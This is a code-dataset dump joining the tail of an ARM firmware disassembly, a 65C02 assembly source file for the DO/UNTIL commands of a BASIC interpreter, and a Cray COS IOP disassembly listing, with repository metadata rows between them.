12b4: 4819 ldr r0, [pc, #100] ; (131c <main+0xa08>)
12b6: f7fe feee bl 96 <delay>
12ba: 68e1 ldr r1, [r4, #12]
12bc: 2000 movs r0, #0
12be: f7ff f875 bl 3ac <send_radio_data_ppm>
12c2: 4b13 ldr r3, [pc, #76] ; (1310 <main+0x9fc>)
12c4: 2101 movs r1, #1
12c6: 6818 ldr r0, [r3, #0]
12c8: 1c0a adds r2, r1, #0
12ca: b280 uxth r0, r0
12cc: f7fe fef8 bl c0 <set_wakeup_timer>
12d0: f7fe ff60 bl 194 <mbus_sleep_all>
12d4: e7fe b.n 12d4 <main+0x9c0>
12d6: 2200 movs r2, #0
12d8: 601a str r2, [r3, #0]
12da: 2001 movs r0, #1
12dc: e504 b.n ce8 <main+0x3d4>
12de: f7ff f8c7 bl 470 <operation_temp_run>
12e2: e7fc b.n 12de <main+0x9ca>
12e4: 00001394 .word 0x00001394
12e8: 0000138c .word 0x0000138c
12ec: 000013b4 .word 0x000013b4
12f0: 00001378 .word 0x00001378
12f4: 000013ac .word 0x000013ac
12f8: 00001380 .word 0x00001380
12fc: 00001374 .word 0x00001374
1300: 000013b0 .word 0x000013b0
1304: 00001388 .word 0x00001388
1308: 00001384 .word 0x00001384
130c: 00001350 .word 0x00001350
1310: 000013a0 .word 0x000013a0
1314: 00001320 .word 0x00001320
1318: 00001360 .word 0x00001360
131c: 00001388 .word 0x00001388
| 38.848724 | 94 | 0.545468 |
0eddfddd9de5cc3eeb0ee36c0dd5fc59e3301e6c | 3,211 | asm | Assembly | source/commands/dountil.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | null | null | null | source/commands/dountil.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | null | null | null | source/commands/dountil.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | 1 | 2021-10-21T22:53:41.000Z | 2021-10-21T22:53:41.000Z | ; *******************************************************************************************
; *******************************************************************************************
;
; Name : dountil.asm
; Purpose : Do..Until commands
; Date : 29th July 2019
; Author : Paul Robson (paul@robsons.org.uk)
;
; *******************************************************************************************
; *******************************************************************************************
; *******************************************************************************************
;
; DO (top of loop)
;
; *******************************************************************************************
COMMAND_Do: ;; do
lda #KW_DO ; push position with a DO token.
jsr CDOPushPosOnStack
rts
; *******************************************************************************************
;
; UNTIL (bottom of loop)
;
; *******************************************************************************************
COMMAND_Until: ;; until
lda #KW_DO ; check TOS is a Do.
jsr CDOCheckTopStack
ldx #0 ; evaluate the test
jsr EvaluateBase
lda evalStack+0,x ; check if zero
ora evalStack+1,x
ora evalStack+2,x
ora evalStack+3,x
beq CDOPullPosOffStack ; zero, restore the position.
bra CDOThrowPosOffStack ; non-zero chuck it.
; *******************************************************************************************
;
; Push current position on stack, together with a structure code.
;
; *******************************************************************************************
CDOPushPosOnStack:
ldx basicStackIndex
pha
tya
sta BasicStack+1,x ; +1 Y Position
lda zCurrentLine
sta BasicStack+2,x ; +2 low of pos
lda zCurrentLine+1
sta BasicStack+3,x ; +3 high of pos
pla
sta BasicStack+4,x ; +4 token on stack
inx
inx
inx
inx ; always points to TOS.
stx basicStackIndex
;
rts
; *******************************************************************************************
;
; Throw a saved position
;
; *******************************************************************************************
CDOThrowPosOffStack:
lda basicStackIndex
sec
sbc #4
sta basicStackIndex
rts
; *******************************************************************************************
;
; Restore a saved position - don't lose it.
;
; *******************************************************************************************
CDOPullPosOffStack:
ldx basicStackIndex
dex
dex
dex
dex
lda BasicStack+1,x ; get position back.
tay
lda BasicStack+2,x
sta zCurrentLine
lda BasicStack+3,x
sta zCurrentLine+1
rts
; *******************************************************************************************
;
; Check topmost element is A
;
; *******************************************************************************************
CDOCheckTopStack:
ldx basicStackIndex ; if match
cmp BasicStack+0,x
bne _CDOCTSError
rts
_CDOCTSError:
#error "STRUCTURE MIXED"
| 28.669643 | 93 | 0.337278 |
9d08f4736be82384843d8a73a36446f065a3b2a9 | 37,200 | asm | Assembly | target/cos_117/disasm/iop_overlay1/UNBLK.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 49 | 2020-10-09T12:29:16.000Z | 2022-03-12T02:33:35.000Z | target/cos_117/disasm/iop_overlay1/UNBLK.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 1 | 2021-12-29T15:59:25.000Z | 2021-12-29T15:59:25.000Z | target/cos_117/disasm/iop_overlay1/UNBLK.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 6 | 2021-04-12T06:10:32.000Z | 2022-02-08T23:11:19.000Z | 0x0000 (0x000000) 0x3118- f:00030 d: 280 | A = (OR[280])
0x0001 (0x000002) 0x2923- f:00024 d: 291 | OR[291] = A
0x0002 (0x000004) 0x2118- f:00020 d: 280 | A = OR[280]
0x0003 (0x000006) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0004 (0x000008) 0x2908- f:00024 d: 264 | OR[264] = A
0x0005 (0x00000A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0006 (0x00000C) 0x2924- f:00024 d: 292 | OR[292] = A
0x0007 (0x00000E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0008 (0x000010) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0009 (0x000012) 0x2908- f:00024 d: 264 | OR[264] = A
0x000A (0x000014) 0x3108- f:00030 d: 264 | A = (OR[264])
0x000B (0x000016) 0x2931- f:00024 d: 305 | OR[305] = A
0x000C (0x000018) 0x2118- f:00020 d: 280 | A = OR[280]
0x000D (0x00001A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x000E (0x00001C) 0x2908- f:00024 d: 264 | OR[264] = A
0x000F (0x00001E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0010 (0x000020) 0x2928- f:00024 d: 296 | OR[296] = A
0x0011 (0x000022) 0x2118- f:00020 d: 280 | A = OR[280]
0x0012 (0x000024) 0x1418- f:00012 d: 24 | A = A + 24 (0x0018)
0x0013 (0x000026) 0x291B- f:00024 d: 283 | OR[283] = A
0x0014 (0x000028) 0x2118- f:00020 d: 280 | A = OR[280]
0x0015 (0x00002A) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0016 (0x00002C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0017 (0x00002E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0018 (0x000030) 0x2922- f:00024 d: 290 | OR[290] = A
0x0019 (0x000032) 0x2122- f:00020 d: 290 | A = OR[290]
0x001A (0x000034) 0x8603- f:00103 d: 3 | P = P + 3 (0x001D), A # 0
0x001B (0x000036) 0x1086- f:00010 d: 134 | A = 134 (0x0086)
0x001C (0x000038) 0x2922- f:00024 d: 290 | OR[290] = A
0x001D (0x00003A) 0x2118- f:00020 d: 280 | A = OR[280]
0x001E (0x00003C) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x001F (0x00003E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0020 (0x000040) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0021 (0x000042) 0x080B- f:00004 d: 11 | A = A > 11 (0x000B)
0x0022 (0x000044) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x0023 (0x000046) 0x292E- f:00024 d: 302 | OR[302] = A
0x0024 (0x000048) 0x2118- f:00020 d: 280 | A = OR[280]
0x0025 (0x00004A) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0026 (0x00004C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0027 (0x00004E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0028 (0x000050) 0x080F- f:00004 d: 15 | A = A > 15 (0x000F)
0x0029 (0x000052) 0x292F- f:00024 d: 303 | OR[303] = A
0x002A (0x000054) 0x2118- f:00020 d: 280 | A = OR[280]
0x002B (0x000056) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x002C (0x000058) 0x2908- f:00024 d: 264 | OR[264] = A
0x002D (0x00005A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x002E (0x00005C) 0x080E- f:00004 d: 14 | A = A > 14 (0x000E)
0x002F (0x00005E) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0030 (0x000060) 0x2930- f:00024 d: 304 | OR[304] = A
0x0031 (0x000062) 0x2118- f:00020 d: 280 | A = OR[280]
0x0032 (0x000064) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x0033 (0x000066) 0x2908- f:00024 d: 264 | OR[264] = A
0x0034 (0x000068) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0035 (0x00006A) 0x2925- f:00024 d: 293 | OR[293] = A
0x0036 (0x00006C) 0x2118- f:00020 d: 280 | A = OR[280]
0x0037 (0x00006E) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x0038 (0x000070) 0x2908- f:00024 d: 264 | OR[264] = A
0x0039 (0x000072) 0x3108- f:00030 d: 264 | A = (OR[264])
0x003A (0x000074) 0x291C- f:00024 d: 284 | OR[284] = A
0x003B (0x000076) 0x2118- f:00020 d: 280 | A = OR[280]
0x003C (0x000078) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x003D (0x00007A) 0x2908- f:00024 d: 264 | OR[264] = A
0x003E (0x00007C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x003F (0x00007E) 0x292C- f:00024 d: 300 | OR[300] = A
0x0040 (0x000080) 0x2118- f:00020 d: 280 | A = OR[280]
0x0041 (0x000082) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x0042 (0x000084) 0x2908- f:00024 d: 264 | OR[264] = A
0x0043 (0x000086) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0044 (0x000088) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0045 (0x00008A) 0x2929- f:00024 d: 297 | OR[297] = A
0x0046 (0x00008C) 0x2129- f:00020 d: 297 | A = OR[297]
0x0047 (0x00008E) 0x8603- f:00103 d: 3 | P = P + 3 (0x004A), A # 0
0x0048 (0x000090) 0x107F- f:00010 d: 127 | A = 127 (0x007F)
0x0049 (0x000092) 0x2929- f:00024 d: 297 | OR[297] = A
0x004A (0x000094) 0x2118- f:00020 d: 280 | A = OR[280]
0x004B (0x000096) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012)
0x004C (0x000098) 0x2908- f:00024 d: 264 | OR[264] = A
0x004D (0x00009A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x004E (0x00009C) 0x2927- f:00024 d: 295 | OR[295] = A
0x004F (0x00009E) 0x2127- f:00020 d: 295 | A = OR[295]
0x0050 (0x0000A0) 0x870C- f:00103 d: 268 | P = P + 268 (0x015C), A # 0
0x0051 (0x0000A2) 0x211C- f:00020 d: 284 | A = OR[284]
0x0052 (0x0000A4) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F)
0x0053 (0x0000A6) 0x2908- f:00024 d: 264 | OR[264] = A
0x0054 (0x0000A8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0055 (0x0000AA) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0056 (0x0000AC) 0x8402- f:00102 d: 2 | P = P + 2 (0x0058), A = 0
0x0057 (0x0000AE) 0x7020- f:00070 d: 32 | P = P + 32 (0x0077)
0x0058 (0x0000B0) 0x2125- f:00020 d: 293 | A = OR[293]
0x0059 (0x0000B2) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x005A (0x0000B4) 0x2908- f:00024 d: 264 | OR[264] = A
0x005B (0x0000B6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x005C (0x0000B8) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x005D (0x0000BA) 0x8602- f:00103 d: 2 | P = P + 2 (0x005F), A # 0
0x005E (0x0000BC) 0x7006- f:00070 d: 6 | P = P + 6 (0x0064)
0x005F (0x0000BE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0060 (0x0000C0) 0x2925- f:00024 d: 293 | OR[293] = A
0x0061 (0x0000C2) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0062 (0x0000C4) 0x292A- f:00024 d: 298 | OR[298] = A
0x0063 (0x0000C6) 0x7133- f:00070 d: 307 | P = P + 307 (0x0196)
0x0064 (0x0000C8) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x0065 (0x0000CA) 0x2934- f:00024 d: 308 | OR[308] = A
0x0066 (0x0000CC) 0x2123- f:00020 d: 291 | A = OR[291]
0x0067 (0x0000CE) 0x2935- f:00024 d: 309 | OR[309] = A
0x0068 (0x0000D0) 0x2124- f:00020 d: 292 | A = OR[292]
0x0069 (0x0000D2) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x006A (0x0000D4) 0x2936- f:00024 d: 310 | OR[310] = A
0x006B (0x0000D6) 0x211B- f:00020 d: 283 | A = OR[283]
0x006C (0x0000D8) 0x2937- f:00024 d: 311 | OR[311] = A
0x006D (0x0000DA) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x006E (0x0000DC) 0x2938- f:00024 d: 312 | OR[312] = A
0x006F (0x0000DE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0070 (0x0000E0) 0x2939- f:00024 d: 313 | OR[313] = A
0x0071 (0x0000E2) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x0072 (0x0000E4) 0x5800- f:00054 d: 0 | B = A
0x0073 (0x0000E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0074 (0x0000E8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0075 (0x0000EA) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0076 (0x0000EC) 0x2B25- f:00025 d: 293 | OR[293] = A + OR[293]
0x0077 (0x0000EE) 0x211C- f:00020 d: 284 | A = OR[284]
0x0078 (0x0000F0) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003)
0x0079 (0x0000F2) 0x2908- f:00024 d: 264 | OR[264] = A
0x007A (0x0000F4) 0x212C- f:00020 d: 300 | A = OR[300]
0x007B (0x0000F6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x007C (0x0000F8) 0x8402- f:00102 d: 2 | P = P + 2 (0x007E), A = 0
0x007D (0x0000FA) 0x7098- f:00070 d: 152 | P = P + 152 (0x0115)
0x007E (0x0000FC) 0x211C- f:00020 d: 284 | A = OR[284]
0x007F (0x0000FE) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F)
0x0080 (0x000100) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0081 (0x000102) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x0082 (0x000104) 0x290D- f:00024 d: 269 | OR[269] = A
0x0083 (0x000106) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0084 (0x000108) 0x080C- f:00004 d: 12 | A = A > 12 (0x000C)
0x0085 (0x00010A) 0x2926- f:00024 d: 294 | OR[294] = A
0x0086 (0x00010C) 0x210D- f:00020 d: 269 | A = OR[269]
0x0087 (0x00010E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0088 (0x000110) 0x2908- f:00024 d: 264 | OR[264] = A
0x0089 (0x000112) 0x3108- f:00030 d: 264 | A = (OR[264])
0x008A (0x000114) 0x13FF- f:00011 d: 511 | A = A & 511 (0x01FF)
0x008B (0x000116) 0x290E- f:00024 d: 270 | OR[270] = A
0x008C (0x000118) 0x212C- f:00020 d: 300 | A = OR[300]
0x008D (0x00011A) 0x250E- f:00022 d: 270 | A = A + OR[270]
0x008E (0x00011C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x008F (0x00011E) 0x292C- f:00024 d: 300 | OR[300] = A
0x0090 (0x000120) 0x212C- f:00020 d: 300 | A = OR[300]
0x0091 (0x000122) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x0092 (0x000124) 0x2908- f:00024 d: 264 | OR[264] = A
0x0093 (0x000126) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0094 (0x000128) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0095 (0x00012A) 0x80FF- f:00100 d: 255 | P = P + 255 (0x0194), C = 0
0x0096 (0x00012C) 0x212C- f:00020 d: 300 | A = OR[300]
0x0097 (0x00012E) 0x13FF- f:00011 d: 511 | A = A & 511 (0x01FF)
0x0098 (0x000130) 0x292C- f:00024 d: 300 | OR[300] = A
0x0099 (0x000132) 0x2126- f:00020 d: 294 | A = OR[294]
0x009A (0x000134) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008)
0x009B (0x000136) 0x8402- f:00102 d: 2 | P = P + 2 (0x009D), A = 0
0x009C (0x000138) 0x7010- f:00070 d: 16 | P = P + 16 (0x00AC)
0x009D (0x00013A) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x009E (0x00013C) 0x292A- f:00024 d: 298 | OR[298] = A
0x009F (0x00013E) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00A0 (0x000140) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x00A1 (0x000142) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x00A2 (0x000144) 0x290E- f:00024 d: 270 | OR[270] = A
0x00A3 (0x000146) 0x2128- f:00020 d: 296 | A = OR[296]
0x00A4 (0x000148) 0x270E- f:00023 d: 270 | A = A - OR[270]
0x00A5 (0x00014A) 0x2928- f:00024 d: 296 | OR[296] = A
0x00A6 (0x00014C) 0x2122- f:00020 d: 290 | A = OR[290]
0x00A7 (0x00014E) 0x2728- f:00023 d: 296 | A = A - OR[296]
0x00A8 (0x000150) 0x8203- f:00101 d: 3 | P = P + 3 (0x00AB), C = 1
0x00A9 (0x000152) 0x2122- f:00020 d: 290 | A = OR[290]
0x00AA (0x000154) 0x2928- f:00024 d: 296 | OR[296] = A
0x00AB (0x000156) 0x7061- f:00070 d: 97 | P = P + 97 (0x010C)
0x00AC (0x000158) 0x2126- f:00020 d: 294 | A = OR[294]
0x00AD (0x00015A) 0x8402- f:00102 d: 2 | P = P + 2 (0x00AF), A = 0
0x00AE (0x00015C) 0x7037- f:00070 d: 55 | P = P + 55 (0x00E5)
0x00AF (0x00015E) 0x211C- f:00020 d: 284 | A = OR[284]
0x00B0 (0x000160) 0x86E4- f:00103 d: 228 | P = P + 228 (0x0194), A # 0
0x00B1 (0x000162) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x00B2 (0x000164) 0x291C- f:00024 d: 284 | OR[284] = A
0x00B3 (0x000166) 0x2118- f:00020 d: 280 | A = OR[280]
0x00B4 (0x000168) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D)
0x00B5 (0x00016A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00B6 (0x00016C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00B7 (0x00016E) 0x2919- f:00024 d: 281 | OR[281] = A
0x00B8 (0x000170) 0x2118- f:00020 d: 280 | A = OR[280]
0x00B9 (0x000172) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x00BA (0x000174) 0x2908- f:00024 d: 264 | OR[264] = A
0x00BB (0x000176) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00BC (0x000178) 0x291A- f:00024 d: 282 | OR[282] = A
0x00BD (0x00017A) 0x211B- f:00020 d: 283 | A = OR[283]
0x00BE (0x00017C) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00BF (0x00017E) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C0 (0x000180) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C1 (0x000182) 0x290D- f:00024 d: 269 | OR[269] = A
0x00C2 (0x000184) 0x211B- f:00020 d: 283 | A = OR[283]
0x00C3 (0x000186) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x00C4 (0x000188) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C5 (0x00018A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C6 (0x00018C) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x00C7 (0x00018E) 0x290E- f:00024 d: 270 | OR[270] = A
0x00C8 (0x000190) 0x210D- f:00020 d: 269 | A = OR[269]
0x00C9 (0x000192) 0x0A07- f:00005 d: 7 | A = A < 7 (0x0007)
0x00CA (0x000194) 0x250E- f:00022 d: 270 | A = A + OR[270]
0x00CB (0x000196) 0x290E- f:00024 d: 270 | OR[270] = A
0x00CC (0x000198) 0x210D- f:00020 d: 269 | A = OR[269]
0x00CD (0x00019A) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x00CE (0x00019C) 0x121F- f:00011 d: 31 | A = A & 31 (0x001F)
0x00CF (0x00019E) 0x290D- f:00024 d: 269 | OR[269] = A
0x00D0 (0x0001A0) 0x210D- f:00020 d: 269 | A = OR[269]
0x00D1 (0x0001A2) 0x2719- f:00023 d: 281 | A = A - OR[281]
0x00D2 (0x0001A4) 0x86C2- f:00103 d: 194 | P = P + 194 (0x0194), A # 0
0x00D3 (0x0001A6) 0x210E- f:00020 d: 270 | A = OR[270]
0x00D4 (0x0001A8) 0x271A- f:00023 d: 282 | A = A - OR[282]
0x00D5 (0x0001AA) 0x86BF- f:00103 d: 191 | P = P + 191 (0x0194), A # 0
0x00D6 (0x0001AC) 0x2D1A- f:00026 d: 282 | OR[282] = OR[282] + 1
0x00D7 (0x0001AE) 0x8002- f:00100 d: 2 | P = P + 2 (0x00D9), C = 0
0x00D8 (0x0001B0) 0x2D19- f:00026 d: 281 | OR[281] = OR[281] + 1
0x00D9 (0x0001B2) 0x2118- f:00020 d: 280 | A = OR[280]
0x00DA (0x0001B4) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D)
0x00DB (0x0001B6) 0x2908- f:00024 d: 264 | OR[264] = A
0x00DC (0x0001B8) 0x2119- f:00020 d: 281 | A = OR[281]
0x00DD (0x0001BA) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00DE (0x0001BC) 0x2118- f:00020 d: 280 | A = OR[280]
0x00DF (0x0001BE) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x00E0 (0x0001C0) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E1 (0x0001C2) 0x211A- f:00020 d: 282 | A = OR[282]
0x00E2 (0x0001C4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00E3 (0x0001C6) 0x7294- f:00071 d: 148 | P = P - 148 (0x004F)
0x00E4 (0x0001C8) 0x7028- f:00070 d: 40 | P = P + 40 (0x010C)
0x00E5 (0x0001CA) 0x2126- f:00020 d: 294 | A = OR[294]
0x00E6 (0x0001CC) 0x160E- f:00013 d: 14 | A = A - 14 (0x000E)
0x00E7 (0x0001CE) 0x8402- f:00102 d: 2 | P = P + 2 (0x00E9), A = 0
0x00E8 (0x0001D0) 0x7010- f:00070 d: 16 | P = P + 16 (0x00F8)
0x00E9 (0x0001D2) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x00EA (0x0001D4) 0x292A- f:00024 d: 298 | OR[298] = A
0x00EB (0x0001D6) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00EC (0x0001D8) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x00ED (0x0001DA) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x00EE (0x0001DC) 0x290E- f:00024 d: 270 | OR[270] = A
0x00EF (0x0001DE) 0x2128- f:00020 d: 296 | A = OR[296]
0x00F0 (0x0001E0) 0x270E- f:00023 d: 270 | A = A - OR[270]
0x00F1 (0x0001E2) 0x2928- f:00024 d: 296 | OR[296] = A
0x00F2 (0x0001E4) 0x2122- f:00020 d: 290 | A = OR[290]
0x00F3 (0x0001E6) 0x2728- f:00023 d: 296 | A = A - OR[296]
0x00F4 (0x0001E8) 0x8203- f:00101 d: 3 | P = P + 3 (0x00F7), C = 1
0x00F5 (0x0001EA) 0x2122- f:00020 d: 290 | A = OR[290]
0x00F6 (0x0001EC) 0x2928- f:00024 d: 296 | OR[296] = A
0x00F7 (0x0001EE) 0x7015- f:00070 d: 21 | P = P + 21 (0x010C)
0x00F8 (0x0001F0) 0x2126- f:00020 d: 294 | A = OR[294]
0x00F9 (0x0001F2) 0x160F- f:00013 d: 15 | A = A - 15 (0x000F)
0x00FA (0x0001F4) 0x8402- f:00102 d: 2 | P = P + 2 (0x00FC), A = 0
0x00FB (0x0001F6) 0x7010- f:00070 d: 16 | P = P + 16 (0x010B)
0x00FC (0x0001F8) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00FD (0x0001FA) 0x292A- f:00024 d: 298 | OR[298] = A
0x00FE (0x0001FC) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00FF (0x0001FE) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x0100 (0x000200) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x0101 (0x000202) 0x290E- f:00024 d: 270 | OR[270] = A
0x0102 (0x000204) 0x2128- f:00020 d: 296 | A = OR[296]
0x0103 (0x000206) 0x270E- f:00023 d: 270 | A = A - OR[270]
0x0104 (0x000208) 0x2928- f:00024 d: 296 | OR[296] = A
0x0105 (0x00020A) 0x2122- f:00020 d: 290 | A = OR[290]
0x0106 (0x00020C) 0x2728- f:00023 d: 296 | A = A - OR[296]
0x0107 (0x00020E) 0x8203- f:00101 d: 3 | P = P + 3 (0x010A), C = 1
0x0108 (0x000210) 0x2122- f:00020 d: 290 | A = OR[290]
0x0109 (0x000212) 0x2928- f:00024 d: 296 | OR[296] = A
0x010A (0x000214) 0x7002- f:00070 d: 2 | P = P + 2 (0x010C)
0x010B (0x000216) 0x7089- f:00070 d: 137 | P = P + 137 (0x0194)
0x010C (0x000218) 0x211C- f:00020 d: 284 | A = OR[284]
0x010D (0x00021A) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x010E (0x00021C) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x0110 (0x000220) 0x291C- f:00024 d: 284 | OR[284] = A
0x0111 (0x000222) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0112 (0x000224) 0x2930- f:00024 d: 304 | OR[304] = A
0x0113 (0x000226) 0x7083- f:00070 d: 131 | P = P + 131 (0x0196)
0x0114 (0x000228) 0x7019- f:00070 d: 25 | P = P + 25 (0x012D)
0x0115 (0x00022A) 0x211C- f:00020 d: 284 | A = OR[284]
0x0116 (0x00022C) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F)
0x0117 (0x00022E) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0118 (0x000230) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x0119 (0x000232) 0x290D- f:00024 d: 269 | OR[269] = A
0x011A (0x000234) 0x211C- f:00020 d: 284 | A = OR[284]
0x011B (0x000236) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x011C (0x000238) 0x2908- f:00024 d: 264 | OR[264] = A
0x011D (0x00023A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x011E (0x00023C) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x011F (0x00023E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0121), A = 0
0x0120 (0x000240) 0x7005- f:00070 d: 5 | P = P + 5 (0x0125)
0x0121 (0x000242) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0122 (0x000244) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0123 (0x000246) 0x291D- f:00024 d: 285 | OR[285] = A
0x0124 (0x000248) 0x7004- f:00070 d: 4 | P = P + 4 (0x0128)
0x0125 (0x00024A) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0126 (0x00024C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0127 (0x00024E) 0x291D- f:00024 d: 285 | OR[285] = A
0x0128 (0x000250) 0x211C- f:00020 d: 284 | A = OR[284]
0x0129 (0x000252) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x012A (0x000254) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x012C (0x000258) 0x291C- f:00024 d: 284 | OR[284] = A
0x012D (0x00025A) 0x2130- f:00020 d: 304 | A = OR[304]
0x012E (0x00025C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0130), A # 0
0x012F (0x00025E) 0x7003- f:00070 d: 3 | P = P + 3 (0x0132)
0x0130 (0x000260) 0x2D28- f:00026 d: 296 | OR[296] = OR[296] + 1
0x0131 (0x000262) 0x72E2- f:00071 d: 226 | P = P - 226 (0x004F)
0x0132 (0x000264) 0x212E- f:00020 d: 302 | A = OR[302]
0x0133 (0x000266) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0134 (0x000268) 0x8402- f:00102 d: 2 | P = P + 2 (0x0136), A = 0
0x0135 (0x00026A) 0x701F- f:00070 d: 31 | P = P + 31 (0x0154)
0x0136 (0x00026C) 0x1020- f:00010 d: 32 | A = 32 (0x0020)
0x0137 (0x00026E) 0x271D- f:00023 d: 285 | A = A - OR[285]
0x0138 (0x000270) 0x1300- f:00011 d: 256 | A = A & 256 (0x0100)
0x0139 (0x000272) 0x2908- f:00024 d: 264 | OR[264] = A
0x013A (0x000274) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x013B (0x000276) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x013C (0x000278) 0x8409- f:00102 d: 9 | P = P + 9 (0x0145), A = 0
0x013D (0x00027A) 0x211D- f:00020 d: 285 | A = OR[285]
